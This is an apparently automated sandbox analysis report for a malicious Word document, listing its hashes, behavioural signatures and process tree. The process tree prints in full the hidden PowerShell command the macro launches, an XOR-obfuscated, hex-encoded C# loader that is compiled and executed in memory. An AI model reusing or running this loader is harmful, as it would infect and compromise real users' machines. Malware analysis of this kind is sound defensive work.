ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
96s
max time network
86s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-09_174205.doc
Size

164KB
MD5

da314846063cf72c4aa800c4d6a88f8f
SHA1

a01a8905965d59f896968958f9b39115420a636b
SHA256

068f7e67f52d97eef2929a08dad735e85dc91bebc2e14b794cb670f915a1074b
SHA512

62102482e1206317abb4bd3adefcb3134d0d9133c10ac988990e6ebead2b4dee30e2374a0635f07850206d813cce22d412b316ac6b246f7a330ccbebf5ecc15a

Score

10^/10

Malware Config

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1856	WINWORD.EXE

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE
1856	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1920	1856	powershell.exe	22

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 1920	1856	WINWORD.EXE	23
PID 1856 wrote to memory of 1920	1856	WINWORD.EXE	23
PID 1856 wrote to memory of 1920	1856	WINWORD.EXE	23
PID 1920 wrote to memory of 1324	1920	powershell.exe	26
PID 1920 wrote to memory of 1324	1920	powershell.exe	26
PID 1920 wrote to memory of 1324	1920	powershell.exe	26
PID 1324 wrote to memory of 1372	1324	csc.exe	27
PID 1324 wrote to memory of 1372	1324	csc.exe	27
PID 1324 wrote to memory of 1372	1324	csc.exe	27

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1920	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1920	powershell.exe

Office loads VBA resources, possible macro or embedded object present

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-09_174205.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function re7db1a {param($p58848)$z325bc='d795b';$z3fb8f='';for ($i=0; $i -lt $p58848.length;$i+=2){$m386b1c=[convert]::ToByte($p58848.Substring($i,2),16);$z3fb8f+=[char]($m386b1c -bxor $z325bc[($i/2)%$z325bc.length]);}return $z3fb8f;} $lb6b45 = '1144505b054464404616015a0240110d595e15311d444d500f4a654c5b160d5a5c1b2b0a435c470d14645c47140d545c46591144505b054464404616015a17710b0550575a11105e5a46591144505b054464404616015a177c2d5f424a5c0c03176a4c111052541b2c014302386814425b590b07175a59031744195d040703080c193f7355592b09475647164c155250100a52550650461b7c5b16164e695a0b0a43041725014369470d07765d511001444a174b3917494000085e5a151110564d5c0144524141071659197c0c10674d47421e05005355501f705b1634434b150e01555f505048444d470b0a501950570105081c593f7355592b09475647164c155250100a52550650461b19700c104540650d0d594d155f4415755a03007b505710054540174b3917494000085e5a151110564d5c0144524141071659197c0c10674d4742030e5a0704051f4a41100d595e15100600005656011e026e26085b7058120b454d1d400f524b5b0708040b174e44725741101d67565c0c100a1b630b16434c540e344556410707431b1c3f44474c570e0d541946160543505642014f4d50100a175b5a0d081741515a5306117c0c10674d474203040a07534862705b1634434b151102550d0d5a561b19400b0a4319580157050119420b424d15170d594d1501010f000d4b5f6c7d590e2d5a495a10101f1b7e0716595c595156195d590e461b19700c104540650d0d594d0840364355780d125274500f0b4540174e44645c412e05444d701016584b0804055b4a504b39174a4103105e5a15071c435c470c4441565c06444f5800515d1f705b1634434b150f570258514e2d594d651616175f5653510401190b0a43194c0653030c01504d0c494000085e5a151110564d5c01445e57414209060c04565655111c192d594d6516161755025b0504190842030e5a0704051f4b5055005508544a46070c000350560c5656070709000051021b1c4b5f5e5f1d0e530e58065f597e5741321045176f071658104e050b4356150a010f5a06075d0c447c0c10674d474217015802505604044f505d510e014a080000545148455c02060606581d4056020c545605025a065354000c035753000e045554050c045707030e174b4d0c50534a1701580250560404082b0a436941104a6d5c470d4d4c5e5a160b1751505a07045c0c591962705b1634434b150106025f015f4c62705b1634434b1c575f42505b164443580357570a090e0b021f184d065c00081d1152560e0750571b5a5757020315051a5007155a1710174d54545104101c1903584d5a420c52015651010e0248201d435c6e3f44440e5357000a42051a570615051a025115051a5d07440e2b0a4369411044470a5356050a745410175f58594c255b555a012c70555a00055b11064b5f7a5847110c56551b210b47401d1153510c514e541b490604505615064b5f4f5800515d1f575015447e574132104511465405000b07514a63567c0c10010d1d4b4f07410552555510191257510d544e571e025d075c540a505b5e176e5000275b50500c10174b5600505600080c01401962070674555c070a43111c5917434b5c0c031751535755560d08270a4150470d0a5a5c5b164a705c41240b5b5d501034564d5d4a21594f5c100b5954500c10196a4507075e5859240b5b5d50104a7649450e0d5458410b0b597d5416051e12173e384501505153561b1e1001005d5753051f1b010351050d04575415100e1007550d545b4a7356420c08585851240d5b5c1d1001005d5753051f1b050150040d51565102010100550f0c505653070e055454010957530607080550550f0c515656075f010351050d0457541510190a02020854564d0c69470d07524a463110564b412b0a5156151301015a005b500a57501544674b5a0101444a661605454d7c0c0258115d04510658014b5f674b5a0101444a1b3110564b414a15520f56575d03100e1001434c470c44070248121155555c0144444d54160d54194616165e57524216520e51005556114616165e5752420f045f54075703104e111045505b05445b5c57040105041706530e0c57405f444d470b0a5019525b07055f545f37434b5c0c03197c5812104e02530d161f505b16445e0405590d0b52060405520a014c28525752160c0c501e5f561e42571b1052194f505d510e015f2758574307164317610d264e4d504a0f045f5407570317661706444d470b0a50115c4e561e1504544d0c5e0c015651581e5f4c545154104d1f43075b02000d153c445b5c57040105621d0b4b05101547445b5c570401051779070a504d5d3f4d0c44470710424b5b42030e5a0704050c4448'; $lb6b452 = re7db1a($lb6b45); Add-Type -TypeDefinition $lb6b452; [hfc419]::m15142b();
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  PID:1920
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\etcvo5qb\etcvo5qb.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1324
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAD00.tmp" "c:\Users\Admin\AppData\Local\Temp\etcvo5qb\CSC6A0857837157494AAE898C2A3146E242.TMP"
      4⤵
      PID:1372

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads